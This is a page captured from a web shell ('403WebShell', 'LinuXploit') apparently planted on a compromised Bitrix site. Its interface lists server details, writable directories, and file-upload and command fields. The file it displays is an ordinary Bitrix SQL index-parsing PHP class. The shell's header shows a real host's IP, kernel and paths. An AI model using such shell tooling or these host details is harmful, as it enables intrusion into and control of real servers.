%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.12.161.6
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/perfmon/lib/sql/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/perfmon/lib/sql/index.php
<?php
namespace Bitrix\Perfmon\Sql;
use Bitrix\Main\NotSupportedException;

class Index extends BaseObject
{
	public $unique = false;
	public $fulltext = false;
	public $columns = array();

	/**
	 * @param string $name Index name.
	 * @param boolean $unique Uniqueness flag.
	 * @param boolean $fulltext Fulltext flag.
	 */
	function __construct($name = '', $unique, $fulltext=false)
	{
		parent::__construct($name);
		$this->unique = (bool)$unique;
		$this->fulltext = (bool)$fulltext;
	}

	/**
	 * Adds column to the index definition.
	 *
	 * @param string $name Column name.
	 *
	 * @return Index
	 */
	function addColumn($name)
	{
		$this->columns[] = trim($name);
		$this->setBody(implode(", ", $this->columns));
		return $this;
	}

	/**
	 * Creates index object from tokens.
	 * <p>
	 * If parameter $indexName is not passed then current position should point to the name of the index.
	 *
	 * @param Tokenizer $tokenizer Tokens collection.
	 * @param boolean $unique Uniqueness flag.
	 * @param boolean $fulltext Fulltext flag.
	 * @param string $indexName Optional name of the index.
	 *
	 * @return Index
	 * @throws NotSupportedException
	 */
	public static function create(Tokenizer $tokenizer, $unique = false, $fulltext = false, $indexName = '')
	{
		if (!$indexName)
		{
			if ($tokenizer->getCurrentToken()->text !== '(')
			{
				$indexName = $tokenizer->getCurrentToken()->text;
				$tokenizer->nextToken();
				$tokenizer->skipWhiteSpace();
			}
		}

		if ($tokenizer->testUpperText('ON'))
		{
			$tokenizer->skipWhiteSpace();
			/** @noinspection PhpUnusedLocalVariableInspection */
			$tableName = $tokenizer->getCurrentToken()->text;
			$tokenizer->nextToken();
			$tokenizer->skipWhiteSpace();
		}

		$index = new self($indexName, $unique, $fulltext);

		if ($tokenizer->testText('('))
		{
			$tokenizer->skipWhiteSpace();
			$token = $tokenizer->getCurrentToken();
			$level = $token->level;
			$column = '';
			do
			{
				if ($token->text === ',')
				{
					$index->addColumn($column);
					$column = '';
				}
				else
				{
					$column .= $token->text;
				}
				$token = $tokenizer->nextToken();
			}
			while (!$tokenizer->endOfInput() && $token->level >= $level);

			if ($column)
			{
				$index->addColumn($column);
			}

			if (!$tokenizer->testText(')'))
				throw new NotSupportedException("')' expected. line:".$tokenizer->getCurrentToken()->line);
		}
		else
		{
			throw new NotSupportedException("'(' expected. line:".$tokenizer->getCurrentToken()->line);
		}

		return $index;
	}

	/**
	 * Searches token collection for 'ON' keyword.
	 * <p>
	 * Advances current position on to next token skipping whitespace.
	 *
	 * @param Tokenizer $tokenizer Tokens collection.
	 *
	 * @return void
	 * @throws NotSupportedException
	 */
	public static function searchTableName(Tokenizer $tokenizer)
	{
		$lineToken = $tokenizer->getCurrentToken();
		while (!$tokenizer->endOfInput())
		{
			if ($tokenizer->getCurrentToken()->upper === 'ON')
			{
				$tokenizer->nextToken();
				$tokenizer->skipWhiteSpace();
				return;
			}
			$tokenizer->nextToken();
		}
		throw new NotSupportedException('Index: table name not found. line: '.$lineToken->line);
	}

	/**
	 * Return DDL for index creation.
	 *
	 * @param string $dbType Database type (MYSQL, ORACLE or MSSQL).
	 *
	 * @return array|string
	 */
	public function getCreateDdl($dbType = '')
	{
		return "CREATE ".($this->fulltext? "FULLTEXT ": "").($this->unique? "UNIQUE ": "")."INDEX ".$this->name." ON ".$this->parent->name."(".$this->body.")";
	}

	/**
	 * Return DDL for index destruction.
	 *
	 * @param string $dbType Database type (MYSQL, ORACLE or MSSQL).
	 *
	 * @return array|string
	 */
	public function getDropDdl($dbType = '')
	{
		switch ($dbType)
		{
		case "MYSQL":
			return "DROP INDEX ".$this->name." ON ".$this->parent->name;
		case "MSSQL":
			return "DROP INDEX ".$this->name." ON ".$this->parent->name;
		case "ORACLE":
			return "DROP INDEX ".$this->name;
		default:
			return "// ".get_class($this).":getDropDdl for database type [".$dbType."] not implemented";
		}
	}

	/**
	 * Return DDL for index modification.
	 *
	 * @param BaseObject $target Target object.
	 * @param string $dbType Database type (MYSQL, ORACLE or MSSQL).
	 *
	 * @return array|string
	 */
	public function getModifyDdl(BaseObject $target, $dbType = '')
	{
		return array(
			$this->getDropDdl($dbType),
			$target->getCreateDdl($dbType),
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit